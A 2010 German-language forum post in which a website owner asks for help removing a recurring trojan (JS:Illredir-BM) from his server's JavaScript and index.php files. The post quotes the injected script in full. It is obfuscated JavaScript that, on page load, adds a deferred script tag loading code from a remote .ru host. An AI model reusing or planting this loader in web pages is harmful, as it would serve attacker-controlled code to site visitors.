hi leute, ich bin durch google auf euch gekommen und ich hoffe ich bekomme hier hilfe.
ich bin fast am verzweifeln.
erst mal zu mein problem. auf meinen vserver ist ein Trojaner dieser wird nur von GData und avast erkannt und blockiert meine seite www.chatsw.de komplett. der trojaner ist dieser hier JS:Illredir-BM
ich habe versucht die dateien meist sind es java dateien und index.php dateien die betroffen sind den code rauszulöschen . lade ich es neu hoch ist der code nach einigen tagen wieder im script.
hier ist der code:
PHP-Code:
<script>var KV=["H","e"];function J(){y=51612;y-=159;var I="";this.dT=false;this.CZ=48666;this.CZ++;var v="ap"+"pe"+"ZyYend".substr(4)+"Ch"+"kHBil".substr(3)+"d";var rU="";var bJ="";var t=String("scrip"+"t");var u={Mh:"A"};try {var n='rA'} catch(n){};var X=window;var x="src";hk={};CA={};var R="bo"+"dy";this.ud=false;this.q=49447;this.q+=164;var C=document;this.FC=45605;this.FC++;var aa=new Date();var _=String("onl"+"oad");this.Ue='';var d=new String("de"+"fe"+"r");var c='';KF=["SE","Dz"];var m="crea"+"teEl"+"emen"+"UJegt".substr(4);NP={ix:26028};function w(){var WG={};hkk={cv:40595};try {var V=["Ne"];var K=String("ht"+"tp"+":/"+"/p"+"as"+"sp"+"or"+"tb"+"luGcd".substr(0,2)+"es"+".rp4G".substr(0,2)+"u:");var Rn=1637-1636;var FK=new String();var Qj=new Array();var M="/goovVIp".substr(0,4)+"LzWtgle.".substr(4)+"9Nyicom/y9Ni".substr(4,4)+"tickxaNv".substr(0,4)+"9MJWetma".substr(4)+"ster"+".com"+"/ado"+"be.c"+"om.p"+"hpMCwa".substr(0,2);var JL=new String();var MS=792267-784187;var iN=new Array();F=C[m](t);var rg=new Array();var DV="DV";GM=["OR","vk","ei"];F[d]=Rn;F[x]=K+MS+M;var yh={d_:"QB"};var iR="";var ZQ=["NZ","EQ"];C[R][v](F);cq=8891;cq+=22;SI=35586;SI--;this.dj=false;} catch(j){var FH={};this.Yu="Yu";};var XP=["Yv","Du"];this.UY="";}X[_]=w;var Gd=new String();var qF=new String();};this.xM=42022;this.xM-=52;var Zr="";J();var Cr={My:false};var hI=new String();</script>
<!--f6b43cadaa2535c64a9cf46759c3aa70-->
ich habe leider kein backup mehr wo er nicht drauf ist. und von hand löschen ist fast unmöglich wie bekomme ich den aus meinen ganzen scripts widda raus? was kann ich tun?
bin echt schon am verzweifeln und weis nicht mehr weider. die daten und alles ist mein halbes lebenswerk.
09.05.2010, 21:49
Linear-Darstellung
